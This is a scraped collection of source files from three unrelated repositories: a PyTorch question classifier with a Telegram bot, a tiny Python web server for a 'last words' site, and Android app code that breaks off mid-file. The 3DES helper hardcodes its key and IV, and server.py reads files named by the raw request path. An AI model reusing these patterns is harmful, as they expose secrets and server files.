Inputs: x\n - x (seq_len, batch, input_size): tensor containing the features of the input sequence.\n Output: logsoftmax\n - logsoftmax (batch, label_size) : tensor result of log softmax\n '''\n def __init__(self, embedding_dim, vocab_size, label_size, kernel_num, kernel_sizes, pretrained_embedding_weight = None, train_embedding_layer = True, dropout = 0, use_gpu = True):\n super().__init__()\n \n #check if kernel sizes in str\n if isinstance(kernel_sizes, str):\n kernel_sizes = [int(i) for i in kernel_sizes.split(',')]\n\n #build network\n self.word_embeddings = nn.Embedding(vocab_size, embedding_dim)\n if not (pretrained_embedding_weight is None): #check if pretrain word vectors are used\n self.word_embeddings.weight.data = pretrained_embedding_weight\n self.word_embeddings.weight.requires_grad = train_embedding_layer #need training or static\n self.convs1 = nn.ModuleList([nn.Conv2d(1, kernel_num, (K, embedding_dim)) for K in kernel_sizes])\n self.dropout = nn.Dropout(dropout)\n self.fc1 = nn.Linear(len(kernel_sizes)*kernel_num, label_size)\n\n #use gpu\n if use_gpu:\n self.cuda()\n \n def forward(self, x):\n x.t_() # transpose to match Conv2d input\n x = self.word_embeddings(x) # (N,W,D)\n x = x.unsqueeze(1) # (N,Ci,W,D)\n x = [F.relu(conv(x)).squeeze(3) for conv in self.convs1] # [(N,Co,W), ...]*len(Ks)\n x = [F.max_pool1d(i, i.size(2)).squeeze(2) for i in x] # [(N,Co), ...]*len(Ks)\n x = torch.cat(x, 1)\n x = self.dropout(x) # (N,len(Ks)*Co)\n logit = self.fc1(x) # (N,C)\n log_probs = F.log_softmax(logit) # log of softmax\n return log_probs" }, { "alpha_fraction": 0.6423264741897583, "alphanum_fraction": 0.643812358379364, "avg_line_length": 33.639705657958984, "blob_id": "ef52a7ccf28667e1725916eac0b8e4b286e1cfe4", "content_id": "18cb177a1e8bcd67275719cab9af174c79958fd7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4711, "license_type": "no_license", "max_line_length": 134, "num_lines": 136, "path": "/telegram_bot.py", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "from telegram import InlineKeyboardButton, InlineKeyboardMarkup\nfrom telegram.ext import Updater, CommandHandler, CallbackQueryHandler, ConversationHandler, MessageHandler, Filters\n\nimport requests\nimport logging\nimport argparse\nimport traceback\n\n#from google_sheet_api import send_log\n\nparser = argparse.ArgumentParser(description=\"This is for establishing telegram bot\")\nparser.add_argument('-t', '--token', help=\"telegram token\", required=True)\nparser.add_argument('--ip', help=\"IP address\", required = True)\n\nargs = parser.parse_args()\n\nTOKEN = args.token\nURL = args.ip\n\n# http request logging\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\n\n#Next stage conversation\nFEEDBACK = 0\nRECOMMENDED = 1\ncache_data = {}\n\ndef predict(bot, update):\n try:\n predict_msg = {'question': update.message.text}\n logger.debug(\"Message: \" + update.message.text)\n resp = requests.get(URL+\"/predict\", params=predict_msg)\n logger.debug(\"Predicted: \" + resp.json()['result'])\n update.message.reply_text(\"Possible topic: \" + resp.json()['result'])\n\n question = predict_msg\n predicted = resp.json()['result']\n \n cache_data[update.message.chat_id] = []\n cache_data[update.message.chat_id].append(update.message.text)\n cache_data[update.message.chat_id].append(predicted)\n \n keyboard = [\n [\n InlineKeyboardButton(u\"Yes\", callback_data=\"yes\"),\n InlineKeyboardButton(u\"No\", callback_data=\"no\")\n ]\n ]\n\n reply_markup = InlineKeyboardMarkup(keyboard)\n update.message.reply_text(\"Do you satisfied with the answer?\", reply_markup = reply_markup)\n \n return FEEDBACK\n except:\n logger.debug(traceback.format_exc())\n update.message.reply_text(\"Error, please repeat again!\")\n\ndef feedback(bot, update):\n try:\n query = update.callback_query\n logger.debug(\"Satisfied: \" + query.data)\n if (query.data == 'yes'):\n cache_data[query.message.chat_id].append(\"none\")\n #send_log(cache_data[query.message.chat_id])\n query.message.reply_text(\"Thanks for responding\")\n return\n keyboard = [\n [InlineKeyboardButton(u\"Academic\", callback_data=\"Academic\")],\n [InlineKeyboardButton(u\"Admission & Financial Services\", callback_data=\"Admission & Financial Services\")],\n [InlineKeyboardButton(u\"Campus Life & Accommodation\", callback_data=\"Campus Life & Accommodation\")],\n [InlineKeyboardButton(u\"Outreach & Exchange\", callback_data=\"Outreach & Exchange\")],\n [InlineKeyboardButton(u\"Other services\", callback_data=\"Other services\")]\n \n ]\n\n reply_markup = InlineKeyboardMarkup(keyboard)\n query.message.reply_text(\"Choose your recommendation?\", reply_markup = reply_markup) \n\n return RECOMMENDED\n except:\n logger.debug(traceback.format_exc())\n query.message.reply_text(\"Error, please repeat again!\")\n\ndef recommended(bot, update):\n query = update.callback_query\n logger.debug(\"Recommended: \" + query.data)\n \n cache_data[query.message.chat_id].append(query.data)\n #send_log(cache_data[query.message.chat_id])\n\n query.message.reply_text(\"Thanks for responding\")\n return\n\ndef help_command(bot, update):\n try:\n update.message.reply_text(\"This is NTU FAQ topic classifier. Send a message and you get the predicted topic. The topic are:\" \\\n \"\\n1. Academic\" \\\n \"\\n2. Admission & Financial Services\" \\\n \"\\n3. Campus Life & Accommodation\" \\\n \"\\n4. Outreach & Exchange\" \\\n \"\\n5. Other services\" \\\n )\n except:\n logger.debug(traceback.format_exc())\n\ndef main():\n # Create Updater object and attach dispatcher to it\n updater = Updater(TOKEN)\n dispatcher = updater.dispatcher\n \n # Add command handler to dispatcher\n\n conv_handler = ConversationHandler(\n entry_points=[MessageHandler(Filters.text, predict)],\n states={\n FEEDBACK: [CallbackQueryHandler(feedback)],\n RECOMMENDED: [CallbackQueryHandler(recommended)]\n },\n fallbacks=[MessageHandler(Filters.text, predict)]\n )\n help_handler = CommandHandler('help', help_command)\n \n dispatcher.add_handler(conv_handler)\n dispatcher.add_handler(help_handler)\n\n # Start the bot\n updater.start_polling()\n logger.debug(\"Bot started!\")\n\n # Run the bot until you press Ctrl-C\n updater.idle()\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6585691571235657, "alphanum_fraction": 0.6615055799484253, "avg_line_length": 48.25, "blob_id": "d27c635a71dd1bef7b93b2e015e32a80f32b5065", "content_id": "a8f99408e054998aba747ccd4d4758e579575218", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3746, "license_type": "no_license", "max_line_length": 286, "num_lines": 76, "path": "/model_module/qrnn_classifier.py", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "import torch\nimport torch.nn as nn\nimport torch.autograd as autograd\nimport torch.nn.functional as F\n\nimport torchqrnn.forget_mult\nfrom torchqrnn import QRNN\n\nclass QRNNClassifier(nn.Module):\n '''\n QRNNClassifier is classification module based on QRNN\n Args:\n embedding_dim (int): The size of word vector.\n vocab_size (int): The number of words/tokens in vocabulary.\n label_size (int): The number of possible labels.\n hidden_dim: The number of features in the hidden state h of QRNN\n pretrained_embedding_weight (torch.Tensor): The pretrained word vectors (optional).\n train_embedding_layer (bool): Whether to train embedding layer or let embedding layer to be fixed.\n num_layers (int): The number of layers of QRNN.\n save_prev_x (bool): Whether to store previous inputs for use in future convolutional windows of QRNN (i.e. for a continuing sequence such as in language modeling). If true, you must call reset to remove cached previous values of x (reset is not yet implemented). Default: False.\n window (int): Defines the size of the convolutional window (how many previous tokens to look when computing the QRNN values). Supports 1 and 2. Default: 1.\n dropout (float): The probability of dropout in QRNN and dropout layer.\n zoneout (float): Whether to apply zoneout of QRNN (i.e. failing to update elements in the hidden state) to the hidden state updates. Default: 0.\n use_gpu (bool): Whether to use GPU or not\n \n Inputs: x\n - x (seq_len, batch, input_size): tensor containing the features of the input sequence.\n \n Output: logsoftmax\n - logsoftmax (batch, label_size) : tensor result of log softmax\n '''\n def __init__(self, embedding_dim, hidden_dim, vocab_size, label_size, pretrained_embedding_weight = None, train_embedding_layer = True, num_layers = 1, dropout = 0, zoneout = 0, window = 1, save_prev_x = False, use_gpu=True):\n super().__init__()\n \n #initialize properties\n self.hidden_dim = hidden_dim\n self.num_layers = num_layers\n self.use_gpu = use_gpu\n self.use_pretrained_word_embedding = not (pretrained_embedding_weight is None)\n self.train_embedding_layer = train_embedding_layer\n self.pretrained_embedding_weight = pretrained_embedding_weight\n\n #create nn module\n self.word_embeddings = nn.Embedding(vocab_size, embedding_dim)\n if self.use_pretrained_word_embedding:\n self.word_embeddings.weight.data = pretrained_embedding_weight\n self.word_embeddings.weight.requires_grad = train_embedding_layer\n self.qrnn = QRNN(embedding_dim, hidden_dim, dropout=dropout, zoneout=zoneout, window = window, save_prev_x = save_prev_x, num_layers=num_layers, use_cuda = use_gpu)\n self.dropout = nn.Dropout(dropout)\n self.hidden_to_label = nn.Linear(hidden_dim, label_size)\n \n #use gpu or not\n if use_gpu:\n self.cuda()\n \n def init_hidden(self):\n '''\n Initialize weight of hidden state\n '''\n self.hidden = autograd.Variable(torch.zeros(self.num_layers, self.batch_size, self.hidden_dim))\n if self.use_gpu:\n self.hidden.cuda()\n \n def forward(self, sentence):\n #get batch size and init hidden\n self.batch_size = sentence.data.shape[1]\n self.init_hidden()\n \n embeds = self.word_embeddings(sentence) # (N,W,D)\n x = embeds.view(len(sentence), self.batch_size, -1)\n out, self.hidden = self.qrnn(x, self.hidden)\n out = self.dropout(out)\n y = self.hidden_to_label(out[-1])\n log_probs = F.log_softmax(y)\n \n return log_probs\n\n\n\n" } ]
14
CORRUPTOR2037/last-word-project
https://github.com/CORRUPTOR2037/last-word-project
ff0c1637ebef753cecc33ad20365790cb705f2ee
7a4b890fcae02ac5e534d90a2581db11b66ae2fa
695f4b5af5498e9516671fa8f649b6af4a652c69
refs/heads/master
2020-09-25T18:08:13.093550
2019-12-30T16:45:16
2019-12-30T16:45:16
226,060,616
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.8230769038200378, "alphanum_fraction": 0.8230769038200378, "avg_line_length": 73.28571319580078, "blob_id": "6aa2cdb9ecaff6d1762af59f8f0dac95bbf37fee", "content_id": "96078e6e944344bc20fc6f6a2f3bfa18c077c01e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 904, "license_type": "no_license", "max_line_length": 260, "num_lines": 7, "path": "/README.md", "repo_name": "CORRUPTOR2037/last-word-project", "src_encoding": "UTF-8", "text": "# last-word-project\nะกะฐะนั‚ ั ะฟะพัะปะตะดะฝะธะผะธ ัะปะพะฒะฐะผะธ\n\nะ”ะตะผะพะฝัั‚ั€ะฐั†ะธั: http://lastword.pythonanywhere.com\n\nะกะพะฑั€ะฐะฝะพ ะฟั€ะฐะบั‚ะธั‡ะตัะบะธ ะฒัั‘, ั‡ั‚ะพ ั ัะผะพะณ ะฝะฐะนั‚ะธ ะทะฐ ะฟะฐั€ัƒ ะดะฝะตะน ัƒัะตั€ะดะฝะพะณะพ ะฟะพะธัะบะฐ (ะบั€ะพะผะต ะฝะตะบะพั‚ะพั€ั‹ั… ะปะธั†). ะ˜ัะบะปัŽั‡ะตะฝะธะต: ะฟะพัะปะตะดะฝะตะต ัะปะพะฒะพ ะ‘ะตะปะพะฒะฐ (ะŸะพั‚ะบะธะฝะฐ) ะฟะพะบะฐ ั‡ั‚ะพ ะฝะต ะดะพะฟะธัะฐะฝะพ.\nะ’ ะดะฐะปัŒะฝะตะนัˆะตะผ ะฟะพะดะดะตั€ะถะธะฒะฐั‚ัŒ ะฟั€ะพะตะบั‚ ะถะตะปะฐะฝะธั ะฝะต ะธะผะตัŽ, ััƒั‚ัŒัŽ ะฑั‹ะปะพ ะธะผะตะฝะฝะพ ัะพะฑั€ะฐั‚ัŒ ะฑะฐะทัƒ ะธ ะบะพะฝั†ะตะฟั‚-ะฟั€ะพะตะบั‚, ั‡ั‚ะพะฑั‹ ะตะณะพ ะฒะตะดะตะฝะธะตะผ ะทะฐะธะฝั‚ะตั€ะตัะพะฒะฐะปะพััŒ ะบะฐะบะพะต-ะฝะธะฑัƒะดัŒ ะกะœะ˜ ะธะปะธ ะฟั€ะฐะฒะพะทะฐั‰ะธั‚ะฝั‹ะน ะฟั€ะพะตะบั‚ ะฝะฐ ะพั‚ะดะตะปัŒะฝะพะผ ั€ะฐะทะดะตะปะต ัะฒะพะตะณะพ ัะฐะนั‚ะฐ. ะ‘ัƒะดัƒ ะฑะปะฐะณะพะดะฐั€ะตะฝ, ะตัะปะธ ะถัŽั€ะธ ัั‚ะพะผัƒ ะฟะพัะฟะพัะพะฑัั‚ะฒัƒัŽั‚.\n" }, { "alpha_fraction": 0.5409702658653259, "alphanum_fraction": 0.5491235256195068, "avg_line_length": 30.05063247680664, "blob_id": "5f92b6c051fdfb842e0222902d853bc3d227d13f", "content_id": "b24b692c3845348a51fc3500cdcd32198ba046f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2495, "license_type": "no_license", "max_line_length": 97, "num_lines": 79, "path": "/server.py", "repo_name": "CORRUPTOR2037/last-word-project", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport logging\n\nfrom os import listdir\nfrom os.path import isfile, join\nimport urllib.parse\n\nmypath = 'records/'\ndef load_index():\n result = \"\"\n onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]\n for file in onlyfiles:\n result += \"<a href='./\" + file[0:-4].replace(' ', '_') + \"'>\" + file[0:-4] + \"</a>\"\n \n return result\n\ndef load(filename):\n filename = urllib.parse.unquote(filename).replace(\"_\", \" \")\n print(filename)\n with open(filename.replace(\"_\", \" \")) as f:\n lines = f.readlines()\n \n result = '<p><span>ะšั‚ะพ:</span>' + lines[0] + '</p>\\n'\n result += '<p><span>ะšะพะณะดะฐ:</span>' + lines[1] + '</p>\\n'\n result += '<p><span>ะŸะพ ะบะฐะบะพะน ัั‚ะฐั‚ัŒะต:</span>' + lines[2] + '</p>\\n'\n result += '<p><span>ะ—ะฐ ั‡ั‚ะพ:</span>' + lines[3] + '</p>\\n'\n result += '<p><span>ะงั‚ะพ ะฟะพะปัƒั‡ะธะป:</span>' + lines[4] + '</p>\\n'\n \n result += '<div class=\"text\"><p>' + '</p><p>'.join(lines[6:]) + '</p></div>'\n \n return result\n \nclass S(BaseHTTPRequestHandler):\n def _set_response(self):\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n\n def do_GET(self):\n logging.info(\"GET request,\\nPath: %s\\nHeaders:\\n%s\\n\", str(self.path), str(self.headers))\n self._set_response()\n if self.path == '/':\n self.print_page(load_index())\n try:\n self.print_page(load('records' + self.path + '.txt'))\n except Exception as e:\n self.print_page('ะžัˆะธะฑะบะฐ: ' + self.path[1:])\n print(e)\n\n def do_POST(self):\n pass\n \n def print_page(self, content):\n with open('header.html', 'rb') as f:\n self.wfile.write(f.read())\n \n self.wfile.write(content.encode('utf-8'))\n \n with open('footer.html', 'rb') as f:\n self.wfile.write(f.read())\n\n\ndef run(server_class=HTTPServer, handler_class=S, port=8080):\n logging.basicConfig(level=logging.INFO)\n server_address = ('', port)\n httpd = server_class(server_address, handler_class)\n logging.info('Starting httpd...\\n')\n try:\n httpd.serve_forever()\n except KeyboardInterrupt:\n pass\n httpd.server_close()\n logging.info('Stopping httpd...\\n')\n\nif __name__ == '__main__':\n from sys import argv\n\n run()\n" } ]
2
zhangquanit/fastapp
https://github.com/zhangquanit/fastapp
01449ad8c42d9866ea5e20dcc55ffc42c3fbde62
10f3906790b33736aabf0d59324a5e30cddbae84
d2444eeb13c2c4693d4a5c37c16bc18532e9c229
refs/heads/master
2023-07-27T10:41:48.018353
2021-09-18T09:21:38
2021-09-18T09:21:38
277,781,324
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5808632373809814, "alphanum_fraction": 0.5824232697486877, "avg_line_length": 29.046875, "blob_id": "8ada2152f3f00251206dd0e2da7e022cf5f86161", "content_id": "6799bb8c8b2fdadb80d826138b82e802074d6cfb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1965, "license_type": "no_license", "max_line_length": 92, "num_lines": 64, "path": "/librarys/CommonWidget/src/main/java/common/widget/viewpager/AutoScrollViewPager.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package common.widget.viewpager;\n\nimport android.content.Context;\nimport android.util.AttributeSet;\nimport android.view.MotionEvent;\n\nimport androidx.core.view.MotionEventCompat;\n\n\npublic class AutoScrollViewPager extends common.widget.viewpager.ViewPager {\n private float touchX = 0f, downX = 0f;\n // ๆป‘ๅŠจ่ท็ฆปๅŠๅๆ ‡\n private float xDistance, yDistance, xLast, yLast;\n private BannerViewPager mBannerViewPager;\n\n public AutoScrollViewPager(Context context) {\n super(context);\n }\n\n public AutoScrollViewPager(Context context, AttributeSet attrs) {\n super(context, attrs);\n }\n\n public void setBanner(BannerViewPager banner) {\n mBannerViewPager = banner;\n }\n\n @Override\n public boolean dispatchTouchEvent(MotionEvent ev) {\n int action = MotionEventCompat.getActionMasked(ev);\n touchX = ev.getX();\n\n if ((action == MotionEvent.ACTION_DOWN)) {\n // ๆš‚ๅœๆปšๅŠจ\n downX = touchX;\n mBannerViewPager.pauseAutoScroll();\n } else if (action == MotionEvent.ACTION_UP || action == MotionEvent.ACTION_CANCEL) {\n // ็ปง็ปญๆปšๅŠจ\n mBannerViewPager.resumeAutoScroll();\n }\n\n // -----------ๆ˜ฏๅฆๆ‹ฆๆˆชๆ‰‹ๅŠฟ\n switch (ev.getAction()) {\n case MotionEvent.ACTION_DOWN:\n xDistance = yDistance = 0f;\n xLast = ev.getX();\n yLast = ev.getY();\n break;\n case MotionEvent.ACTION_MOVE:\n final float curX = ev.getX();\n final float curY = ev.getY();\n\n xDistance += Math.abs(curX - xLast);\n yDistance += Math.abs(curY - yLast);\n xLast = curX;\n yLast = curY;\n\n if (xDistance > yDistance) {\n getParent().requestDisallowInterceptTouchEvent(true);\n }\n }\n return super.dispatchTouchEvent(ev);\n }\n}\n" }, { "alpha_fraction": 0.5906040072441101, "alphanum_fraction": 0.5922818779945374, "avg_line_length": 24.645160675048828, "blob_id": "4984af87bab44d586784b7c2661da7644b55ac2c", "content_id": "2bc511d12746eaf66b5886994480caf1e5738de4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 2416, "license_type": "no_license", "max_line_length": 83, "num_lines": 93, "path": "/app/src/main/java/com/android/base/ui/splash/SplashActivity.kt", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.ui.splash\n\nimport android.Manifest\nimport android.os.Bundle\nimport android.os.Handler\nimport androidx.appcompat.app.AppCompatActivity\nimport com.android.base.App\nimport com.android.util.common.CommonCallBack\nimport com.android.util.permission.Permission\nimport com.android.util.permission.PermissionListener\nimport com.android.util.permission.PermissionUtil\nimport com.fastapp.MainActivity\nimport net.medlinker.android.splash.SplashUtil\n\n/**\n * @author zhangquan\n */\nclass SplashActivity : AppCompatActivity() {\n private var mHandler = Handler()\n private val mDelay = 1000L\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n checkShowDialog()\n }\n\n override fun onDestroy() {\n super.onDestroy()\n mHandler.removeCallbacks(mRunnable)\n }\n\n private fun checkShowDialog() {\n if (!SplashUtil.isPrivacyGranted()) {\n showPrivacyDialog()\n } else {\n grantPermission()\n }\n }\n\n /**\n * ้š็งๆ”ฟ็ญ–ๅผนๆก†\n */\n private fun showPrivacyDialog() {\n val dialogFragment = PrivacyDialog()\n dialogFragment.callback(CommonCallBack { granted ->\n if (granted) {\n grantPermission()\n App.initAfterPrivacy()\n } else {\n finish()\n }\n })\n dialogFragment.show(supportFragmentManager, \"PrivacyProtocol\")\n }\n\n /**\n * ๆƒ้™็”ณ่ฏท\n */\n private fun grantPermission() {\n PermissionUtil(this).requestPermissions(\n arrayOf(Manifest.permission.WRITE_EXTERNAL_STORAGE),\n object : PermissionListener {\n override fun onGranted() {\n doNextStep()\n }\n\n override fun onDenied(deniedPermission: MutableList<Permission>?) {\n doNextStep()\n }\n })\n }\n\n private fun doNextStep() {\n if (App.coldStart) { //ๅ†ทๅฏๅŠจ\n doNext()\n } else {\n mHandler.postDelayed(mRunnable, mDelay) //็ƒญๅฏๅŠจ\n }\n App.coldStart = false\n }\n\n private fun doNext() {\n if (SplashUtil.hasShowGuide()) {\n MainActivity.start(this)\n } else {\n GuideActivity.start(this)\n }\n finish()\n }\n\n private var mRunnable = Runnable {\n doNext()\n }\n}" }, { "alpha_fraction": 0.6291578412055969, "alphanum_fraction": 0.6447275280952454, "avg_line_length": 31.482759475708008, "blob_id": "25ad9ea7d147e1299b525fda35425fb539ea2367", "content_id": "7b68974cb8a07ecb1eaccc2216cb8e97e70349aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2964, "license_type": "no_license", "max_line_length": 89, "num_lines": 87, "path": "/librarys/CommonUtil/src/main/java/com/android/util/encode/Des3Encoder.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.util.encode;\n\nimport android.util.Base64;\n\nimport java.security.Key;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.SecretKeyFactory;\nimport javax.crypto.spec.DESedeKeySpec;\nimport javax.crypto.spec.IvParameterSpec;\n\n/**\n * 3DESๅŠ ๅฏ†\n */\npublic class Des3Encoder {\n private static final String KEY = \"sndo@agriculture@analytics\"; //3DES็š„ๅŠ ๅฏ†ๅฏ†้’ฅ้•ฟๅบฆ่ฆๆฑ‚ๆ˜ฏ24ไธชๅญ—่Š‚\n private final static String IV = \"01234567\"; // ๅ‘้‡\n private final static String ENCODING = \"UTF-8\"; // ๅŠ ่งฃๅฏ†็ปŸไธ€ไฝฟ็”จ็š„็ผ–็ ๆ–นๅผ\n\n public static void main(String[] args) throws Exception {\n test(\"12345678\");\n }\n\n public static void test(String src) throws Exception {\n //UTF8็ผ–็ ->DES3ๅŠ ๅฏ†->DES3่งฃๅฏ†->UTF8่งฃ็ \n System.out.println(\"key.length=\" + KEY.length());\n byte[] encryptBytes = Des3Encoder.encrypt(KEY, src.getBytes(\"UTF-8\"));\n String data = Base64.encodeToString(encryptBytes, Base64.DEFAULT);\n System.out.println(\"ๅŠ ๅฏ†ๅŽ็š„ๆ•ฐๆฎ=\" + data);\n byte[] decrypt = Des3Encoder.decrypt(KEY, Base64.decode(data, Base64.DEFAULT));\n data = new String(decrypt, \"UTF-8\");\n System.out.println(\"่งฃๅฏ†ๅŽ็š„ๆ•ฐๆฎ=\" + data);\n }\n\n /**\n * ๅŠ ๅฏ†\n *\n * @param key ๅฏ†้’ฅ\n * @param srcBytes ๅŽŸๅง‹ๆ•ฐๆฎ\n * @return\n * @throws Exception\n */\n public static byte[] encrypt(String key, byte[] srcBytes) throws Exception {\n//\t\tif (TextUtils.isEmpty(key) || null == srcBytes || srcBytes.length == 0) {\n//\t\t\treturn srcBytes;\n//\t\t}\n Key deskey = null;\n DESedeKeySpec spec = new DESedeKeySpec(key.getBytes());\n SecretKeyFactory keyfactory = SecretKeyFactory.getInstance(\"desede\");\n deskey = keyfactory.generateSecret(spec);\n\n Cipher cipher = Cipher.getInstance(\"desede/CBC/PKCS5Padding\");\n IvParameterSpec ips = new IvParameterSpec(IV.getBytes());\n cipher.init(Cipher.ENCRYPT_MODE, deskey, ips);\n byte[] encryptData = cipher.doFinal(srcBytes);\n\n return encryptData;\n }\n\n /**\n * ่งฃๅฏ†\n *\n * @param key ่งฃๅฏ†ๅฏ†้’ฅ\n * @param encodedBytes ๅŠ ๅฏ†ๅŽ็š„ๅญ—่Š‚\n * @return\n * @throws Exception\n */\n public static byte[] decrypt(String key, byte[] encodedBytes)\n throws Exception {\n//\t\tif (TextUtils.isEmpty(key) || null == encodedBytes\n//\t\t\t\t|| encodedBytes.length == 0) {\n//\t\t\treturn encodedBytes;\n//\t\t}\n\n Key deskey = null;\n DESedeKeySpec spec = new DESedeKeySpec(key.getBytes());\n SecretKeyFactory keyfactory = SecretKeyFactory.getInstance(\"desede\");\n deskey = keyfactory.generateSecret(spec);\n Cipher cipher = Cipher.getInstance(\"desede/CBC/PKCS5Padding\");\n IvParameterSpec ips = new IvParameterSpec(IV.getBytes());\n cipher.init(Cipher.DECRYPT_MODE, deskey, ips);\n\n byte[] decryptData = cipher.doFinal(encodedBytes);\n\n return decryptData;\n }\n}\n" }, { "alpha_fraction": 0.6921886801719666, "alphanum_fraction": 0.6921886801719666, "avg_line_length": 27.10869598388672, "blob_id": "80785b741e5a57bf51b692d6d8eee7adbe9371dd", "content_id": "38ec538c444fcced75a1e62df634947fd1255621", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1309, "license_type": "no_license", "max_line_length": 96, "num_lines": 46, "path": "/app/src/main/java/com/fastapp/TestFrag.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.fastapp;\n\nimport android.content.Context;\nimport android.os.Bundle;\nimport android.view.View;\nimport android.widget.TextView;\n\nimport com.android.base.Constant;\nimport com.android.base.event.EventMsg;\nimport com.android.base.ui.SimpleFrag;\nimport com.android.base.ui.SimpleFragAct;\nimport com.android.base.widget.StatusBar;\n\nimport org.greenrobot.eventbus.EventBus;\n\n\n/**\n * @author ๅผ ๅ…จ\n */\npublic class TestFrag extends SimpleFrag {\n public static void start(Context ctx) {\n SimpleFragAct.start(ctx, new SimpleFragAct.SimpleFragParam(\"TestFrag\", TestFrag.class));\n }\n\n @Override\n protected int getLayoutId() {\n return R.layout.activity_main;\n }\n\n @Override\n protected void init(Bundle savedInstanceState) {\n StatusBar.setStatusBar(mContext, true, getTitleBar());\n\n findViewById(R.id.showDialog).setVisibility(View.GONE);\n findViewById(R.id.http).setVisibility(View.GONE);\n TextView textView = findViewById(R.id.testFrag);\n textView.setText(\"ๅ‘้€Event\");\n textView.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n EventBus.getDefault().post(new EventMsg(Constant.Event.LOGIN_SUCCESS,\"็™ปๅฝ•ๆˆๅŠŸ\"));\n }\n });\n\n }\n}\n" }, { "alpha_fraction": 0.7093495726585388, "alphanum_fraction": 0.7093495726585388, "avg_line_length": 17.923076629638672, "blob_id": "4c157199f78b4f9931302e10088e1142e6376856", "content_id": "fe4f1f6709f1abfcce74133baa173668aca94bfe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 530, "license_type": "no_license", "max_line_length": 55, "num_lines": 26, "path": "/app/src/main/java/com/android/base/util/pay/OrderPayResponse.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.util.pay;\n\nimport com.google.gson.annotations.SerializedName;\n\nimport java.io.Serializable;\n\n/**\n * ๆ”ฏไป˜ไฟกๆฏ\n *\n * @author ๅผ ๅ…จ\n */\npublic class OrderPayResponse implements Serializable {\n //ๅพฎไฟกๆ”ฏไป˜ไฟกๆฏ\n public String appid;\n public String partnerid;\n public String prepayid;\n @SerializedName(\"package\")\n public String packageStr;\n public String timestamp;\n public String noncestr;\n public String sign;\n\n //ๆ”ฏไป˜ๅฎๆ”ฏไป˜ไฟกๆฏ.\n public String orderInfo;\n\n}\n" }, { "alpha_fraction": 0.5889744162559509, "alphanum_fraction": 0.5950997471809387, "avg_line_length": 39.38266372680664, "blob_id": "a31245df7d9b3d4de588f56780d33b430b98d918", "content_id": "4defb3015aea0cb8994fd14194c7a70835ad7a2f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 19125, "license_type": "no_license", "max_line_length": 131, "num_lines": 473, "path": "/librarys/CommonWidget/src/main/java/common/widget/shape/ShapeAttrParser.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package common.widget.shape;\n\nimport android.content.Context;\nimport android.content.res.ColorStateList;\nimport android.content.res.Resources;\nimport android.content.res.TypedArray;\nimport android.content.res.XmlResourceParser;\nimport android.graphics.BlendMode;\nimport android.graphics.drawable.GradientDrawable;\nimport android.os.Build;\nimport android.text.TextUtils;\nimport android.util.ArrayMap;\nimport android.util.AttributeSet;\nimport android.util.TypedValue;\nimport android.view.View;\n\nimport androidx.annotation.RequiresApi;\n\nimport java.lang.reflect.Constructor;\nimport java.util.Map;\n\nimport common.widget.R;\n\n\n/**\n * ๅฑžๆ€ง่งฃๆž\n *\n * @author zhangquan\n */\npublic class ShapeAttrParser {\n private static final int RADIUS_TYPE_PIXELS = 0;\n private static final int RADIUS_TYPE_FRACTION = 1;\n private static final int RADIUS_TYPE_FRACTION_PARENT = 2;\n\n private static final float DEFAULT_INNER_RADIUS_RATIO = 3.0f;\n private static final float DEFAULT_THICKNESS_RATIO = 9.0f;\n\n private static final Class<?>[] sConstructorSignature = new Class[]{Context.class, AttributeSet.class};\n private static final Object[] mConstructorArgs = new Object[2];\n private static final Map<String, Constructor<? extends View>> sConstructorMap = new ArrayMap<>();\n\n private static final String sViewClassPrefix = \"android.view.\";\n private static final String[] sClassPrefixList = {\n \"android.widget.\",\n \"android.webkit.\",\n \"android.app.\"\n };\n\n\n public static View parseAttr(Context context, AttributeSet attrs, View view) {\n return parseAttr(context, attrs, view, null);\n }\n\n public static View parseAttr(Context context, AttributeSet attrs, View view, String viewName) {\n if (null == attrs || Build.VERSION.SDK_INT <= 19) {\n return view;\n }\n TypedArray typedArray = context.obtainStyledAttributes(attrs, R.styleable.ShapeBg);\n if (typedArray.getIndexCount() == 0) {\n return view;\n }\n if (null == view) {\n view = createViewFromName(context, viewName, attrs);\n }\n if (null != view) {\n try {\n GradientDrawable gradientDrawable = new GradientDrawable();\n //<shape>\n updateStateFromTypedArray(typedArray, 